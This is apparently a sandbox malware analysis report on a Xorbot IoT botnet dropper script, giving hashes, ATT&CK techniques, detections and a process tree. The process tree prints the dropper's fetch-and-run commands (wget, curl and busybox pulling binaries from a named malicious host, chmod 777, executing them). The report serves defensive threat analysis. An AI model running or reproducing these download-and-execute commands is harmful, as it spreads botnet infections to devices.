xorbot | a665a16ba49682c6dfd69b135542ffcb25d8d61746c7d8127e135e8bc81e00f3

Analysis

max time kernel
150s
max time network
90s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
01-12-2024 15:31

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General

Target

bins.sh
Size

10KB
MD5

cb16380cf509277eec9f1b0e1506720c
SHA1

54cfb023dbb8ffff117ccd3152621c482d26d480
SHA256

a665a16ba49682c6dfd69b135542ffcb25d8d61746c7d8127e135e8bc81e00f3
SHA512

b8a0eb43de5b0154fb16438423198451fe8c0dccb7f9c029798768e8dbb13b384bc7e4028d7d6f893dcb634a72d45e12a383dbb6cc60d3523c28658695c89b01
SSDEEP

96:YQMRLn8vLtltFtitpZLHbgL8AhyGPEZtttOH1HVH6YMraA8q23Ln5KC7LztmXnzc:7QQ2wV/uzW1swnw2DhuzW1swkmk+

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
736	chmod
823	chmod

Executes dropped EXE 1 IoCs

Processes:

J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv

ioc	pid	Process
/tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv	737	J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurlbusyboxwgetcurlbusybox

pid	Process
711	wget
726	curl
735	busybox
740	wget
741	curl
743	busybox

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlwgetcurl

description	ioc	Process
File opened for modification	/tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv	busybox
File opened for modification	/tmp/b7U5F8C3EB0EekOfS9IQRNfeGDy0gUuAWZ	wget
File opened for modification	/tmp/b7U5F8C3EB0EekOfS9IQRNfeGDy0gUuAWZ	curl
File opened for modification	/tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv	wget
File opened for modification	/tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod 777 J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  ./J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  PID:739
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/b7U5F8C3EB0EekOfS9IQRNfeGDy0gUuAWZ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/b7U5F8C3EB0EekOfS9IQRNfeGDy0gUuAWZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/b7U5F8C3EB0EekOfS9IQRNfeGDy0gUuAWZ
  2⤵
  - System Network Configuration Discovery
  PID:743
- /bin/chmod
  chmod 777 b7U5F8C3EB0EekOfS9IQRNfeGDy0gUuAWZ
  2⤵
  - File and Directory Permissions Modification
  PID:823

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/b7U5F8C3EB0EekOfS9IQRNfeGDy0gUuAWZ

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit